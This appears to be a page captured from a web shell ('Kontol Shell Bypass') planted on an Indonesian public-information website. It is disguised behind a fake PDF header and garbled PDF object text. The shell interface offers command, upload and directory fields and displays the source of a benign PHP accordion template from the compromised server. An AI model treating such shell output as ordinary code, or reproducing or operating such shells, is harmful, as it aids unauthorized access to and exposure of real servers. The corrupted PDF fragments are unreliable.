%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/partials/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/partials/direktori-accordion.php
<?php
$folders   = $folders ?? [];
$docsByDir = $docsByDir ?? [];
$lepasDok  = $docsByDir[0] ?? []; // dokumen kategori ini yang tidak masuk folder mana pun

/** Render satu baris dokumen ringkas di dalam accordion. */
$renderDoc = static function (array $d): void { ?>
    <a href="<?= e(url('dokumen.php?id=' . $d['id'])) ?>" class="flex items-center gap-3 bg-white border border-slate-100 rounded-xl p-3.5 hover:border-mateng-green/40 hover:shadow-sm transition-all group/doc">
        <div class="w-10 h-10 rounded-lg bg-slate-50 text-slate-400 flex items-center justify-center shrink-0"><i class="fas <?= e(file_icon($d['file_original'] ?? $d['file_name'] ?? '')) ?>"></i></div>
        <div class="min-w-0 flex-grow">
            <h4 class="text-sm font-semibold text-slate-800 leading-snug truncate group-hover/doc:text-mateng-green transition-colors"><?= e($d['judul']) ?></h4>
            <div class="text-[11px] text-slate-400 mt-0.5 flex items-center gap-3">
                <?php if (!empty($d['tahun'])): ?><span><i class="far fa-calendar mr-0.5"></i><?= e($d['tahun']) ?></span><?php endif; ?>
                <span><i class="fas fa-download mr-0.5"></i><?= (int) $d['downloads'] ?></span>
            </div>
        </div>
        <i class="fas fa-arrow-right text-xs text-slate-300 group-hover/doc:text-mateng-green shrink-0 transition-colors"></i>
    </a>
<?php };
?>
<style>
    .dir-acc summary { list-style: none; }
    .dir-acc summary::-webkit-details-marker { display: none; }
    .dir-acc[open] .dir-chevron { transform: rotate(180deg); }
</style>

<div class="space-y-3">
    <?php foreach ($folders as $f): $docs = $docsByDir[(int) $f['id']] ?? []; ?>
        <details class="dir-acc bg-white border border-slate-100 rounded-2xl shadow-sm overflow-hidden">
            <summary class="flex items-center gap-4 p-4 sm:p-5 cursor-pointer hover:bg-slate-50/60 transition-colors">
                <div class="w-11 h-11 rounded-xl bg-mateng-green/10 text-mateng-green flex items-center justify-center text-lg shrink-0"><i class="fas fa-folder"></i></div>
                <div class="flex-grow min-w-0">
                    <h3 class="font-bold text-slate-800 truncate"><?= e($f['nama']) ?></h3>
                    <?php if (!empty($f['deskripsi'])): ?><p class="text-xs text-slate-400 truncate mt-0.5"><?= e($f['deskripsi']) ?></p><?php endif; ?>
                </div>
                <span class="shrink-0 text-xs font-semibold px-2.5 py-1 rounded-full <?= count($docs) ? 'bg-mateng-green/10 text-mateng-green' : 'bg-slate-100 text-slate-400' ?>"><?= count($docs) ?> dokumen</span>
                <i class="fas fa-chevron-down dir-chevron text-slate-400 transition-transform duration-200 shrink-0"></i>
            </summary>
            <div class="border-t border-slate-100 p-4 sm:p-5 bg-slate-50/40">
                <?php if (empty($docs)): ?>
                    <p class="text-sm text-slate-400 text-center py-6"><i class="fas fa-folder-open mr-1"></i> Belum ada dokumen pada folder ini.</p>
                <?php else: ?>
                    <div class="grid grid-cols-1 md:grid-cols-2 gap-3">
                        <?php foreach ($docs as $d) { $renderDoc($d); } ?>
                    </div>
                <?php endif; ?>
            </div>
        </details>
    <?php endforeach; ?>

    <?php if (!empty($lepasDok)): ?>
        <details class="dir-acc bg-white border border-slate-100 rounded-2xl shadow-sm overflow-hidden" open>
            <summary class="flex items-center gap-4 p-4 sm:p-5 cursor-pointer hover:bg-slate-50/60 transition-colors">
                <div class="w-11 h-11 rounded-xl bg-slate-100 text-slate-500 flex items-center justify-center text-lg shrink-0"><i class="fas fa-folder-open"></i></div>
                <div class="flex-grow min-w-0">
                    <h3 class="font-bold text-slate-800 truncate">Lainnya</h3>
                    <p class="text-xs text-slate-400 truncate mt-0.5">Dokumen kategori ini yang belum dimasukkan ke folder.</p>
                </div>
                <span class="shrink-0 text-xs font-semibold px-2.5 py-1 rounded-full bg-slate-100 text-slate-500"><?= count($lepasDok) ?> dokumen</span>
                <i class="fas fa-chevron-down dir-chevron text-slate-400 transition-transform duration-200 shrink-0"></i>
            </summary>
            <div class="border-t border-slate-100 p-4 sm:p-5 bg-slate-50/40">
                <div class="grid grid-cols-1 md:grid-cols-2 gap-3">
                    <?php foreach ($lepasDok as $d) { $renderDoc($d); } ?>
                </div>
            </div>
        </details>
    <?php endif; ?>

    <?php if (empty($folders) && empty($lepasDok)): ?>
        <div class="text-center py-16 bg-white rounded-2xl border border-slate-100">
            <i class="fas fa-folder-open text-4xl text-slate-300 mb-3"></i>
            <p class="text-slate-500 font-medium">Belum ada folder pada kategori ini.</p>
        </div>
    <?php endif; ?>
</div>

Kontol Shell Bypass